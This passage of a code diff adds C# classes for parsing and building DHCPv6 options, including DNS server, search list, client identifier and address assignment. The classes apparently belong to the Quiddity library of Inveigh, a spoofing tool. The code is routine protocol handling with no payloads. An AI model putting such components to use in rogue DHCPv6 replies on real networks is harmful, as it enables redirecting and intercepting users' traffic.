+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option14 : DHCPv6Option
+ {
+
+ public DHCPv6Option14()
+ {
+ this.OptionCode = 14;
+ this.OptionLen = 0;
+ }
+
+ public DHCPv6Option14(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option14(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.OptionCode);
+ packetWriter.Write(this.OptionLen);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs
new file mode 100644
index 0000000..606ee13
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs
@@ -0,0 +1,90 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option16 : DHCPv6Option
+ {
+ public uint EnterpriseNumber { get; set; }
+ public byte[] VendorClassData { get; set; }
+
+ public DHCPv6Option16()
+ {
+
+ }
+
+ public DHCPv6Option16(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option16(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.EnterpriseNumber = packetReader.BigEndianReadUInt32();
+ this.VendorClassData = packetReader.ReadBytes(this.OptionLen - 8);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.OptionCode);
+ packetWriter.Write(this.OptionLen);
+ packetWriter.Write(this.EnterpriseNumber);
+ packetWriter.Write(this.VendorClassData);
+ return memoryStream.ToArray();
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs
new file mode 100644
index 0000000..6abb125
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs
@@ -0,0 +1,95 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option2 : DHCPv6Option
+ {
+ public byte[] DUID { get; set; }
+
+ public DHCPv6Option2()
+ {
+
+ }
+
+ public DHCPv6Option2(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option2(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public DHCPv6Option2(string mac)
+ {
+ DHCPv6DUIDLL duid = new DHCPv6DUIDLL(mac);
+ this.OptionCode = 2;
+ this.DUID = duid.GetBytes();
+ this.OptionLen = (ushort)this.DUID.Length;
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.DUID = packetReader.ReadBytes(this.OptionLen);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.OptionCode);
+ packetWriter.BigEndianWrite(this.OptionLen);
+ packetWriter.Write(this.DUID);
+ return memoryStream.ToArray();
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs
new file mode 100644
index 0000000..250bcef
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs
@@ -0,0 +1,97 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option23 : DHCPv6Option
+ {
+ // https://datatracker.ietf.org/doc/html/rfc3646
+ public byte[] DNSRecursiveNameServers { get; set; }
+ public DHCPv6Option23()
+ {
+
+ }
+
+ public DHCPv6Option23(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option23(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public DHCPv6Option23(string dnsRecursiveNameServer)
+ {
+ this.OptionCode = 23;
+ this.OptionLen = 16;
+ this.DNSRecursiveNameServers = IPAddress.Parse(dnsRecursiveNameServer).GetAddressBytes();
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.DNSRecursiveNameServers = packetReader.ReadBytes(this.OptionLen);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.OptionCode);
+ packetWriter.BigEndianWrite(this.OptionLen);
+ packetWriter.Write(this.DNSRecursiveNameServers);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs
new file mode 100644
index 0000000..5abbecb
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs
@@ -0,0 +1,95 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option24 : DHCPv6Option
+ {
+ public byte[] SearchList { get; set; }
+
+ public DHCPv6Option24()
+ {
+
+ }
+
+ public DHCPv6Option24(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option24(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public DHCPv6Option24(string dnsSuffix)
+ {
+ this.OptionCode = 24;
+ this.SearchList = Utilities.GetDNSNameBytes(dnsSuffix, true);
+ this.OptionLen = (ushort)this.SearchList.Length;
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.SearchList = packetReader.ReadBytes(this.OptionLen);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.OptionCode);
+ packetWriter.BigEndianWrite(this.OptionLen);
+ packetWriter.Write(this.SearchList);
+ return memoryStream.ToArray();
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs
new file mode 100644
index 0000000..7641a32
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs
@@ -0,0 +1,107 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option3 : DHCPv6Option
+ {
+ public byte[] IAID { get; set; }
+ public uint T1 { get; set; }
+ public uint T2 { get; set; }
+ public byte[] IANAOptions { get; set; }
+
+ public DHCPv6Option3()
+ {
+
+ }
+
+ public DHCPv6Option3(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option3(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public DHCPv6Option3(string clientIPv6Address, uint lifetime, byte[] iaid)
+ {
+ this.OptionCode = 3;
+ this.T1 = 200;
+ this.T2 = 250;
+ this.IAID = iaid;
+ this.IANAOptions = new DHCPv6Option5().GetBytes(clientIPv6Address, lifetime);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.IAID = packetReader.ReadBytes(4);
+ this.T1 = packetReader.BigEndianReadUInt32();
+ this.T2 = packetReader.BigEndianReadUInt32();
+ this.IANAOptions = packetReader.ReadBytes(this.OptionLen - 12);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+ this.OptionLen = 40;
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.OptionCode);
+ packetWriter.BigEndianWrite(this.OptionLen);
+ packetWriter.Write(this.IAID);
+ packetWriter.BigEndianWrite(this.T1);
+ packetWriter.BigEndianWrite(this.T2);
+ packetWriter.Write(this.IANAOptions);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs
new file mode 100644
index 0000000..b7b4a76
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs
@@ -0,0 +1,128 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option39 : DHCPv6Option
+ {
+ // https://datatracker.ietf.org/doc/html/rfc4704
+
+ public byte Flags { get; set; }
+ public string DomainName { get; set; }
+
+ public DHCPv6Option39()
+ {
+
+ }
+
+ public DHCPv6Option39(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option39(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.Flags = packetReader.ReadByte();
+ this.DomainName = ConvertName(packetReader.ReadBytes(this.OptionLen - 1));
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.OptionCode);
+ packetWriter.Write(this.OptionLen);
+ packetWriter.Write(this.Flags);
+ packetWriter.Write(this.DomainName);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ protected virtual string ConvertName(byte[]data)
+ {
+ string hostname = "";
+ int hostnameLength = data[0];
+ int index = 0;
+ int i = 0;
+
+ do
+ {
+ int hostnameSegmentLength = hostnameLength;
+ byte[] hostnameSegment = new byte[hostnameSegmentLength];
+ Buffer.BlockCopy(data, (index + 1), hostnameSegment, 0, hostnameSegmentLength);
+ hostname += Encoding.UTF8.GetString(hostnameSegment);
+
+ if (hostnameLength + 1 == data.Length)
+ {
+ return hostname;
+ }
+
+ index += hostnameLength + 1;
+ hostnameLength = data[index];
+ i++;
+
+ if (hostnameLength > 0)
+ {
+ hostname += ".";
+ }
+
+ }
+ while (hostnameLength != 0 && i <= 127);
+
+ return hostname;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs
new file mode 100644
index 0000000..7ed7a2b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs
@@ -0,0 +1,77 @@
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option5 : DHCPv6Option
+ {
+ // https://datatracker.ietf.org/doc/html/rfc3315#section-22.6
+
+ public byte[] IPv6Address { get; set; }
+ public uint PreferredLifetime { get; set; }
+ public uint ValidLifetime { get; set; }
+ public byte[] IAAddrOptions { get; set; }
+
+ public DHCPv6Option5()
+ {
+ }
+
+ public DHCPv6Option5(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option5(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.IPv6Address = packetReader.ReadBytes(16);
+ this.PreferredLifetime = packetReader.BigEndianReadUInt32();
+ this.ValidLifetime = packetReader.BigEndianReadUInt32();
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.OptionCode);
+ packetWriter.BigEndianWrite(this.OptionLen);
+ packetWriter.Write(this.IPv6Address);
+ packetWriter.BigEndianWrite(this.PreferredLifetime);
+ packetWriter.BigEndianWrite(this.ValidLifetime);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public byte[] GetBytes(string ipv6Address, uint lifeTime)
+ {
+ this.OptionCode = 5;
+ this.OptionLen = 24;
+ this.IPv6Address = IPAddress.Parse(ipv6Address).GetAddressBytes();
+ this.PreferredLifetime = lifeTime;
+ this.ValidLifetime = lifeTime;
+ return GetBytes();
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs
new file mode 100644
index 0000000..557e089
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs
@@ -0,0 +1,87 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option6 : DHCPv6Option
+ {
+ public byte[] RequestedOptionCodes { get; set; }
+
+ public DHCPv6Option6()
+ {
+
+ }
+
+ public DHCPv6Option6(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option6(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
